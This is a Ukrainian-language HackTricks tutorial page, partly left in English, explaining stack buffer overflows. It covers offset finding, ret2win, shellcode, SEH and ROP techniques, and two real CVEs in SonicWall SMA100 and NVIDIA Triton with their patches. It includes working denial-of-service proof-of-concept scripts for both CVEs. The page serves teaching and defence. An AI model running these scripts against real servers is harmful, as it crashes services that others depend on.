Переповнення стеку
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке переповнення стеку
A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Переповнення стеку — це вразливість, що виникає, коли програма записує в стек більше даних, ніж йому виділено. Ці зайві дані перезаписують сусідні області пам'яті, що призводить до пошкодження коректних даних, порушення потоку керування та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж введення.
The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.
Головна проблема такого перезапису в тому, що збережений вказівник інструкцій (EIP/RIP) і збережений базовий вказівник (EBP/RBP), які використовуються для повернення до попередньої функції, зберігаються у стеку. Тому атакуючий може перезаписати їх і контролювати потік виконання програми.
The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.
Вразливість зазвичай виникає через те, що функція копіює в стек більше байтів, ніж їй виділено, і таким чином може перезаписати інші частини стеку.
Some common functions vulnerable to this are: strcpy
, strcat
, sprintf
, gets
... Also, functions like fgets
, read
& memcpy
that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.
Деякі поширені функції, вразливі до цього: strcpy
, strcat
, sprintf
, gets
... Також функції на кшталт fgets
, read
і memcpy
, які приймають аргумент довжини, можуть використовуватися небезпечно, якщо вказана довжина більша за виділену.
For example, the following functions could be vulnerable:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Finding Stack Overflows offsets
Найпоширеніший спосіб виявити stack overflows — подати дуже великий ввід A
s (наприклад, python3 -c 'print("A"*1000)'
) і очікувати Segmentation Fault
, що вказує на те, що було спробовано звернутися до адреси 0x41414141
.
Більше того, коли ви виявили, що є Stack Overflow vulnerability, потрібно буде знайти offset до того місця, де можна overwrite the return address; для цього зазвичай використовують De Bruijn sequence. Для заданої абетки розміру k і підпослідовностей довжини n це циклічна послідовність, у якій кожна можлива підпослідовність довжини n трапляється рівно один раз як суміжна підпослідовність.
Таким чином, замість того, щоб вгадувати вручну, який offset потрібен для контролю EIP, можна використати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали.
Для цього можна використати pwntools:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
або GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Експлуатація переповнень стеку
Під час переповнення (за умови, що розмір переповнення достатньо великий) ви зможете перезаписати значення локальних змінних у стеку до моменту досягнення збережених EBP/RBP and EIP/RIP (or even more).
Найпоширеніший спосіб використати таку вразливість — змінити адресу повернення, щоб коли функція завершиться потік виконання було перенаправлено туди, куди вказано у цьому вказівнику.
Проте в інших сценаріях іноді достатньо просто перезаписати деякі значення змінних у стеку для експлуатації (наприклад, у простих CTF-завданнях).
Ret2win
У такого роду CTF-завданнях у бінарному файлі є функція, яка ніколи не викликається, але яку потрібно викликати, щоб перемогти. Для таких задач потрібно лише знайти зсув для перезапису адреси повернення і знайти адресу функції, яку викликати (зазвичай ASLR вимкнений), тож коли вразлива функція повернеться, прихована функція буде викликана:
Stack Shellcode
У цьому сценарії атакуючий може розмістити shellcode у стеку та скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код:
Windows SEH-based exploitation (nSEH/SEH)
На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. Експлуатація зазвичай замінює вказівник SEH на POP POP RET gadget і використовує 4-байтове поле nSEH для короткого переходу, щоб повернутися у великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp у nSEH, який приземляється на 5-байтовий near jmp, розташований безпосередньо перед nSEH, щоб здійснити стрибок на сотні байтів назад до початку payload.
ROP & Ret2... techniques
Ця техніка є базовим підходом для обходу основного захисту попереднього підходу: No executable stack (NX). Вона також дозволяє застосовувати інші техніки (ret2lib, ret2syscall...), які в кінцевому підсумку виконують довільні команди, використовуючи наявні інструкції в бінарному файлі:
Heap Overflows
Переповнення не завжди відбувається у стеку, воно також може бути в heap, наприклад:
Types of protections
Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей, перегляньте їх у:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Добре підтвердження того, чому sscanf
ніколи не слід довіряти для розбору ненадійного вводу з'явилося у 2025 році в SonicWall’s SMA100 SSL-VPN appliance.
Уразлива рутина всередині /usr/src/EasyAccess/bin/httpd
намагається витягти версію та endpoint з будь-якого URI, що починається з /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- The first conversion (
%2s
) safely stores two bytes intoversion
(e.g."v1"
). - The second conversion (
%s
) has no length specifier, thereforesscanf
will keep copying until the first NUL byte. - Because
endpoint
is located on the stack and is 0x800 bytes long, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the stack canary and the saved return address.
Достатньо однорядкового proof-of-concept, щоб викликати crash before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Навіть якщо stack canaries припиняють процес, нападник усе ще отримує примітив Denial-of-Service (а з додатковими information leaks — можлива й code-execution). Урок простий:
- Завжди вказуйте максимальну ширину поля (наприклад
%511s
). - Віддавайте перевагу безпечнішим альтернативам, таким як
snprintf
/strncpy_s
.
Приклад з реального життя: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька stack-based overflows, доступних через його HTTP API.
Уразливий шаблон неодноразово з'являвся в http_server.cc
та sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) повертає кількість внутрішніх сегментів буфера, які складають поточне HTTP тіло запиту.- Кожен сегмент спричиняє виділення 16-byte
evbuffer_iovec
на stack черезalloca()
– без жодних верхніх обмежень. - Зловживаючи HTTP chunked transfer-encoding, клієнт може змусити запит бути розбитим на сотні тисяч 6-byte chunks (
"1\r\nA\r\n"
). Це змушуєn
необмежено зростати, поки stack не вичерпається.
Демонстрація концепції (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Запит розміром ~3 MB достатній, щоб перезаписати збережену адресу повернення та crash демон у збірці за замовчуванням.
Патч і пом'якшення
Реліз 25.07 замінює unsafe stack allocation на heap-backed std::vector
та коректно обробляє std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Уроки:
- Ніколи не викликайте
alloca()
з attacker-controlled sizes. - Chunked requests можуть істотно змінювати форму буферів на стороні сервера.
- Перевіряйте та обмежуйте будь-яке значення, отримане з вхідних даних клієнта, перед тим як використовувати його при виділенні пам'яті.
Посилання
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.